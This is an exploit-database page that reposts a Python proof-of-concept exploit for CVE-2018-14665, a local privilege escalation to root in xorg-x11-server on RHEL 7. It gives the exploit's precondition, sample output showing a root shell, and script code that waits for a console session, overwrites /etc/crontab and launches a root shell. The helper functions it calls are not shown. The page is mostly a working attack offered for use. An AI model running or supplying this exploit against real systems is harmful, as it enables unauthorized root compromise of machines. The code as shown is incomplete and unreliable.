Xorgx11server < 1.20.1 local privilege escalation Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-11-13 |
Type : local |
Platform : linux
This exploit / vulnerability Xorgx11server < 1.20.1 local privilege escalation is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: xorg-x11-server < 1.20.1 - Local Privilege Escalation (RHEL 7)
# Date: 2018-11-07
# Exploit Author: @bolonobolo
# Vendor Homepage: https://www.x.org/
# Version: 1.19.5
# Tested on: RHEL 7.3 && 7.5
# CVE : CVE-2018-14665
# Explanation
# The only condition that have to be met for this PE to work via SSH, is that the legitimate non-root user
# has to be logged in trought console at the moment the PE script launched.
# In fact during the logged in session of the legitimate non-root user,
# a file with the name of the non-root user will be created in the /var/run/console folder.
# With that file present, the same non-root user can launch a Xorg command via SSH.
#
# Usage: $ python poc.py
# $ python poc.py
# [*] Waiting for bolo to connect to the console
# [*] OK --> bolo console opened
# [*] Building root shell wait 2 minutes
# [*] crontab overwritten
#
# ... cut Xorg output ...
#
# [*] Xorg killed
# (II) Server terminated successfully (0). Closing log file.
# [*] Don't forget to cleanup /etc/crontab and /tmp dir
# sh-4.2# id && whoami
# uid=0(root) gid=0(root) gruppi=0(root),1001(bolo)
# root
# sh-4.2#
#!/usr/bin/python
import os
import getpass
import subprocess
def main():
whoami = getWhoami()
print "[*] Waiting for " + whoami + " to connect to the console"
i = 0
while (i == 0):
consoleList = getConsole(path)
for user in consoleList:
if user == whoami :
print "[*] OK --> " + user + " console opened"
i = 1
print "[*] Building root shell wait 2 minutes"
payload()
executePayload()
print "[*] Don't forget to cleanup /etc/crontab and /tmp dir"
os.system("/usr/local/bin/shell")